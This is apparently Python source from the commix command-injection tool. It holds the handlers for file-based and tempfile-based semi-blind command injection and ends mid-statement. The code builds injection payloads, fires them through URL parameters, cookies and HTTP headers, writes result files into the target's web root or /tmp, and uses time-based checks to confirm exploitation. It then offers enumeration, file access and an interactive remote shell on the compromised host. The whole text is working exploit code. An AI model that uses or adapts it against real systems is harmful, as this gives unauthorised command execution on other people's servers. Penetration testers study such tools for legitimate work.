def list_tamper_scripts(): info_msg = "Listing available tamper scripts:" print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read().decode(settings.UNICODE_ENCODING) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() sub_content = Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment print(settings.print_sub_content(sub_content))
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = settings.SUCCESS_MSG info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print("") while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print("") raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print("") print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print("") delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print("") if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print("") if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print("") # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" if settings.TIME_RELATIVE_ATTACK == False: warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = None # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: try: settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input(settings.print_question_msg(question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" #break else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str(float_percent) + "%)" print(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str(float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": whitespace = " " possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if 